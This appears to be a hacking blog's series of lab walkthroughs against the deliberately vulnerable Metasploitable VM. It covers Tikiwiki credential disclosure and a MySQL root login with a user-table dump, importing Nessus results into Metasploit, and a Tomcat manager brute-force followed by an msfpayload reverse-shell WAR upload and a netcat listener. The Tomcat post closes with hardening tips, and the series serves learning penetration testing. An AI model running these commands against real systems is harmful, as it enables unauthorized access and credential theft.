Attacking Metasploitable - Tikiwiki on port 80

For this post, I will be beating up on the Tikiwiki web application that is running on port 80 of the Metasploitable vulnerable VM.

First, we need to scan our VM with a very good web application scanner called Nikto. Here is the description of nikto from http://cirt.net/nikto2

Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6400 potentially dangerous files/CGIs, checks for outdated versions of over 1200 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated.

Perfect for finding out what is sitting on our target web server. Once we have run the scan, we see that there is a /tikiwiki directory located on the webserver. Lets browse there and have a look around.

Now that we know there is a version of tikiwiki running on this web server, lets have a look in metasploit and see if it includes any modules we can use on tikiwiki.

search tikiwiki

Perfect! There are a few of them we can try out. Lets go ahead and try the information disclosure module for tikiwiki to see if this webapp leaks valuable info to us. This is kinda self explanatory so I will not go into how to configure and run this module.

Well. Looks like we got the database version (mysql) the username (root) and the password (root). Lets try to log in remotely using the information provided using our built in mysql client on Backtrack. This may not work if remote logins are disabled, but it is worth a try.

mysql -h 192.168.2.109 --user=root --password=root

Awesome! Now we have access to the database as the root user! Lets list the databases.

show databases;

Given this list, and since we are wanting to get root privileges on the web application, we will try the tikiwiki database first.

use tikiwiki;
show tables;

After having a look at the tables in this database, the ones that look most useful are tiki_users and users_users. Lets try querying the tiki_users table first.

Select * from tiki_users;

Hmm. It seems that this table is empty. Lets try out the users_users. Hopefully that one will not be empty too!

Select * from users_users;

Bingo! This one is definitely not empty. After looking at the field names, lets try and clean up our query results with info that will be most useful to us.

Select userID, login, password from users_users;

Awesome! We have found the admin user in the users_users table. Lets try and use these credentials to log into the tikiwiki web application.

Once we enter the credentials we are presented with a change password page, how convenient ;)

Once we change the admin password we are presented with the admin dashboard for this web application. Success!

From here, we could try and gain access to the underlying operating system as the web application user, or we could simply change the content of the web application pages. I will stop here for now because I am tired and not very greedy tonite ;)

Jakx

Using Nessus and Metasploit

In this post I will perform a basic vulnerability scan with the home version of nessus and import the scan results into metasploit. Nessus is a very powerful vulnerability scanner and you can learn more about it here : http://www.tenable.com/products/nessus/nessus-product-overview
If you dont know how to set nessus up, there are many tutorials out there on that. We currently have nessus set up on our instance of Backtrack 5 and we will now perform the scan on the metasploitable VM. I really enjoy going through the Metasploit Unleashed pages and that was my inspiration to make this post and try it out myself. Those guys have a post on this topic as well here:
http://www.offensive-security.com/metasploit-unleashed/Working_With_Nessus

Once we have nessus up and running with an admin user configured, we need to login to the web interface at https://127.0.0.1:8834. Next we need to configure our scan.

First click on scans in the menu bar and then click add. Once you do that, you will be presented with a new screen that allows you to specify the scan policy as well as the scan name, and addresses to be scanned.

Next we will launch the scan and wait for the results....Once the scan is finished we view the results and see that our friend metasploitable has quite a few vulnerabilities with two critical ones at port 445.

Nessus is pretty amazing because you can further drill down these results and once you get to a specific vulnerability, nessus will give you a description of the vuln, the solution to fix it, whether or not there is a public exploit available for it, and what it is exploitable with, ie. core impact, metasploit , etc. If it is exploitable through metasploit, it will even give you the metasploit module to use!

Now that we have our scan results, we need to download the scan so we can play with it in metasploit. Just download the file as a .nessus(v1) file.

Now we need to import the file into the metasploit database. Since I already have some stuff about metasploitable logged in my current database I am going to clear that out so we can have just the nessus info.

Metasploit allows you to have multiple workspaces so that when attacking multiple machines, you are able to keep all the stored information in seperate places. Since I am only attacking one machine right now I only had one workspace named default. You can add workspaces using the workspace -a workspacename or delete workspaces using the workspace -d workspacename. Also when you are ready to use a workspace type workspace workspacename.

Now that everything is refreshed, lets import the nessus results into the default workspace.

Awesome. Now by typing commands like hosts, vulns, and notes we are able to see all the pertinent information gathered from the scan. Inside metasploit we can use vulns -p to specify a specific port to search for and vulns -s to specify a specific service to search for, or a combination of both.

Nessus is a very powerful tool and coupled with metasploit, it can give an attacker a lot of information to base attacks on.

Attacking Metasploitable - tomcat, this is .War!

In this post we are going to target another attack vector of the metasploitable OS. In a previous post we did a port scan and saw that on port 8180 Apache Tomcat was running. For more info on what Apache Tomcat is, go here. Lets try to brute force the login credentials of the manager application for tomcat. We will use metasploit to do this.

msfconsole
search tomcat
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.2.109

Metasploit, by default, has some options configured that we will need to change. First we will need to change the port to 8180.

set RPORT 8180

We also want to change the STOP_ON_SUCCESS value to true so that when we are successful, metasploit will stop brute forcing.

set STOP_ON_SUCCESS true

Normally when brute forcing something, you need to provide a file or list of usernames and passwords, but since metasploit is one bad mo fo, it provides a user and password file custom made for this auxiliary module located at

/opt/framework/msf3/data/wordlists/tomcat_mgr_default_userpass.txt
/opt/framework/msf3/data/wordlists/tomcat_mgr_default_users.txt

If you have not explored the wordlist directory or any thing else inside metasploit, I would highly recommend you do so because there are many useful things you will find.

exploit

Perfect. The user configured a *highly complex username and password tomcat:tomcat. Now we can head over to the respective web address and try to login. We will open firefox and type this into our browser.

http://192.168.2.109:8180/manager/html

Once we are logged in, we are presented with the web application manager interface. We were able to compromise the web application, but now we are wanting to be able to interact with the underlying operating system. Since we only have application layer access right now, we need to find a way to get the application to run some code for us. If we scroll down we can see a place where the interface allows us to upload a .War file.

After doing some research, I found out that .war are Web ARchive files that contain all the files needed for a Java based web application. Would it be possible for us to somehow create a backdoor we could upload in the form of a .War file, and then get the backdoor to execute?

Metasploit to the rescue, once again. Using msfpayload, we can create shellcode and then specify what type of file to send it to. It just so happens, that one of the filetypes that msfpayload supports is .war. If you are not familiar with msfpayload there are plenty of tutorials out there. Google is your friend.

msfpayload linux/x86/shell_reverse_tcp LHOST=192.168.2.102 LPORT=1337 W > runme.war

/* Sidenote: for some reason, the linux/x86/shell/reverse_tcp metasploit payload would work and create a session, but would then drop the session due to an EOFError that looks like this:

[*] Command shell session 2 opened (192.168.2.102:1337 -> 192.168.2.109:33743) at 2011-11-01 17:30:42 -0400
[*] Command shell session 2 closed. Reason: Died from EOFError

Not really sure why it does this, mabye has something to do with the /shell/reverse_tcp form of payload being the type where it just opens network connection then waits for the rest of the payload from the attacker machine, and the /shell_reverse_tcp type has the entire thing put together. I will have to keep playing around with it.*\

Ok, now that we have our backdoor in a .war format, all we need to do now is upload the file to the manager and then navigate to the right webpage to execute it on the machine. Metasploit actually implements the same technique as an exploit, but I wanted to try and do it manually so that I could learn more about how it works since I do not know a lot about java web applications. You can find more about their built-in exploit here:

http://www.metasploit.com/modules/exploit/multi/http/tomcat_mgr_deploy

After a little more research, I found out that msfpayload creates a randomly named .jsp (javaserver page) file and it puts the payload in this page. We will need to figure out what the page is called to access it. Since a WAR file is just an archive of other files, lets unzip the war file so we can see the name of the .jsp file. We can use the unzip command and the -l flag just to see a list of the files.

unzip -l runme.war

Perfect. Now we know the filename. Before we navigate to the page, we need to set up a listener on the attacker machine to catch the reverse shell. We can use either the multi/handler in metasploit or just a basic netcat listener. Lets just do netcat.

nc -v -l -p 1337

Once this is done, we need to navigate to the .jsp file on the server to get it to execute and hopefully give us a shell. The manager application will, by default, put the files located inside the WAR archive in a directory under the archive name. So in my case it will be /runme/ajegupbyv.jsp

Awesome! We now have OS layer access on this server. At this point we would do some recon and try to escalate privileges if we wanted to further compromise this machine.

What can we learn from this attack about securing tomcat?

1) Never, Never, Never, Never use the freakin name of the application as the username AND/OR the password. Ever. It is simply way to easy to brute force. A complex username and password is a must for authentication integrity. An unusual username and password would make brute forcing much harder.

2) If you are going to have a manager application, you can filter who is allowed to request it by IP or by host name. If the filter was by subnet, it would not have necessarily prevented this specific attack, due to the fact that I am on the same subnet as the server, but if the filter only allowed certain IP's to connect, it would have made the attackers job that much harder.

3) Although not a solid security tactic, rename the manager application. This would not stop an attacker but would at least make life a little tougher for him.

For more information on security an install of tomcat, OWASP has put together a pretty good article here:
https://www.owasp.org/index.php/Securing_tomcat#Securing_Manager_WebApp